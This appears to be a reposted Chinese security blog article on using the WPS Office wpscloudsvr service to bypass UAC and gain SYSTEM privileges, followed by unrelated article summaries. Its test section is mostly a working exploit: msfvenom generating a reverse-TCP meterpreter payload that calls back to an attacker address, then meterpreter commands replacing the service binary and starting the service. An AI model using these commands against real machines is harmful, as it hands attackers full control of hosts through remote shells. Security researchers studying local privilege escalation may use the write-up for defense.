利用WPS-Office绕过UAC提权

简介: 利用WPS-Office绕过UAC提权


0x01 前言

wpscloudsvr服务用于提供WPSOffice云服务,其中包括:云文档,文件安全性,VIP服务等,以实现完整和安全的用户体验,及时更新和错误修复,停止此服务将禁用云服务和及时错误修复等。


但这个服务貌似并没有起到其实际作用,因为它默认为停止状态,启动类型为禁止或者手动,而且运行的是WPSOffice安装目录下的wpscloudsvr.exe,并非该服务指定的wpscloudsvr.exe。


本地测试环境信息:


操作系统:Windows 10教育版17134、Windows Server 2016 Datacenter
软件版本:WPS Office 2020 11.1.0.9999
WPS Office安装路径:D:\WPS Office\
WPS Office进程名:wps.exe、wpscloudsvr.exe等
WPS Office服务名:wpscloudsvr(WPS Office Cloud Service)


0x02 绕过原理分析

WPSOffice在安装时创建的wpscloudsvr服务默认是以SYSTEM权限运行的,而且允许在ApplicationPoolIdentity、NetworkService和未过UAC的用户启动和停止该服务,并且有权限替换服务指定的wpscloudsvr.exe,所以能够直接利用这种方式进行权限提升,但需要注意以下几点。

1. 不是所有服务都可以用未过UAC的用户来启动和停止的,如:KugouService、Everything等;

2. wpscloudsvr.exe Users权限问题,Win10和2016默认给的权限不一样,可能会替换不了文件;

3. WPSOffic新版本中可能已经修复该问题,可以替换文件,但是不能启动wpscloudsvr服务;

    get-acl .\wpscloudsvr.exe | format-list
    icacls wpscloudsvr.exe
    net start wpscloudsvr


    0x02 模拟实战测试

    (1) 使用MSF下的post/windows/gather/enum_services模块获取当前主机上的服务信息,找到一个以SYSTEM权限运行的wpscloudsvr服务,并且可用net命令停止和开启该服务。

      meterpreter > run post/windows/gather/enum_services


      (2) 既然有权限启动和停止wpscloudsvr服务,那么我们就直接将该服务的可执行文件替换为远控马或MSF攻击载荷,不过必须拥有Users完全控制权限才可替换,替换前记得备份一下,然后依次执行以下命令并重启wpscloudsvr服务后即可得到一个SYSTEM权限会话

        root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443-f exe > /tmp/wpscloudsvr.exe
        meterpreter > cd C:\\ProgramData\\Kingsoft\\office6\\
        meterpreter > cp wpscloudsvr.exe wpscloudsvr1.exe
        meterpreter > upload /tmp/wpscloudsvr.exe wpscloudsvr.exe
        meterpreter > execute -Hc -i -f "c:\\windows\\system32\\cmd.exe" -a "/c net start wpscloudsvr"


        参考文章:

        https://mp.weixin.qq.com/s/s1xWapre2xa5bAP-VoY_Ww

        相关文章
        |
        数据可视化 开发者 C++
        Qt(C++)使用QChart静态显示3个设备的温度变化曲线
        QChart模块是Qt Charts库的基础,提供了用于创建和显示各种类型图表的类和接口。Qt Charts库是一个功能丰富、易于使用的数据可视化工具库,可以帮助开发者在应用程序中添加漂亮而又交互性强的图表。
        395 1
        Qt(C++)使用QChart静态显示3个设备的温度变化曲线
        |
        11月前
        |
        供应链 搜索推荐 算法
        淘宝电商运营的小秘籍,看完血赚。
        在淘宝电商竞争激烈的环境中,掌握实用运营技巧是成功的关键。本文深入剖析了淘宝电商运营的五大核心策略:精准市场定位与选品、引人入胜的店铺装修、优质客户服务、灵活营销推广及数据驱动决策。通过这些技巧,你可以在淘宝平台上打造独具魅力的店铺,吸引更多流量和客户,实现销售业绩稳步增长,最终脱颖而出,成为知名品牌。
        1008 10
        |
        安全
        WEB安全~X-Frame-Options
        `X-Frame-Options` HTTP响应头用于控制网页是否能在框架中被嵌套,防范点击劫持攻击,保护用户安全。常见取值有`DENY`(禁止嵌套)和`SAMEORIGIN`(同源嵌套)。通过设置此头部,网站能提升安全性,防止被恶意嵌入其他站点。注意合理配置并与其他安全头部结合使用。例如,配置为`ALLOW_FROM baidu.com`允许来自百度的嵌套,`SAMEORIGIN`则仅允许同域名嵌套,而`DENY`则拒绝所有。不配置则无保护。
        567 2
        |
        域名解析 关系型数据库 MySQL
        基于PHPEnv的本地环境搭建—PHP第一个项目:HelloWorld(从安装到运行)
        该文章指导如何使用PHPEnv搭建本地PHP开发环境,并通过一个简单的"Hello World"程序演示从安装到运行的全过程。
        基于PHPEnv的本地环境搭建—PHP第一个项目:HelloWorld(从安装到运行)
        |
        SQL 安全 JavaScript
        告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
        【9月更文挑战第12天】在Web开发中,安全漏洞如同暗礁,尤其对初学者而言,SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)是常见挑战。本文通过实战案例,展示如何利用Python应对这些威胁。首先,通过参数化查询防止SQL注入;其次,借助Jinja2模板引擎自动转义机制抵御XSS攻击;最后,使用Flask-WTF库生成和验证CSRF令牌,确保转账功能安全。掌握这些技巧,助你构建更安全的Web应用。
        239 5
        |
        测试技术 块存储 开发者
        阿里云块存储团队软件工程实践
        本文介绍了阿里云团队软件工程实际开发流程,并简述了开发过程中遇到的一些问题。且附带案例,以及遇到案例中出现的情况应当如何应对。
        |
        存储 大数据 对象存储
        ClickHouse 如何实现数据一致性
        本文探讨了在 ClickHouse 中实现数据一致性的方法,主要关注 `ReplacingMergeTree` 引擎。该引擎允许更新已有数据,通过定期合并操作删除重复并保持最终一致性。然而,由于合并时间不可预测,单纯依赖此引擎无法确保实时一致性。为解决此问题,文章提出了四种策略:1)手动触发合并,但不建议频繁使用;2)使用 `FINAL` 查询,但在查询时合并数据,效率较低;3)通过标记和 `GroupBy` 查询实现一致性;4)在允许一定偏差的情况下,直接使用 `ReplacingMergeTree` 保持最终一致性。在实践中,推荐结合标记列和 `GroupBy` 以保证数据一致性。
        883 0
        |
        SQL 算法 API
        NiceGui:Python中的轻量级GUI框架初体验
        NiceGui:Python中的轻量级GUI框架初体验
        1413 0
        |
        存储 前端开发 JavaScript
        从零开始学习React Native开发
        【2月更文挑战第1天】React Native是一种跨平台的移动应用程序框架,可以使用JavaScript和React来构建Android和iOS应用程序。本文将带您从零开始学习React Native开发,涵盖了基础知识、组件、样式、布局、API等方面。
        |
        Java BI
        itext itextpdf 版本概要介绍
        生成PDF报表的Java组件--iText 网上介绍的多是一些实例和使用方法,对于这个版本的使用需要注意的点主要是版本问题。 iText版本历史  http://itextpdf.com/history/  2.
        2634 0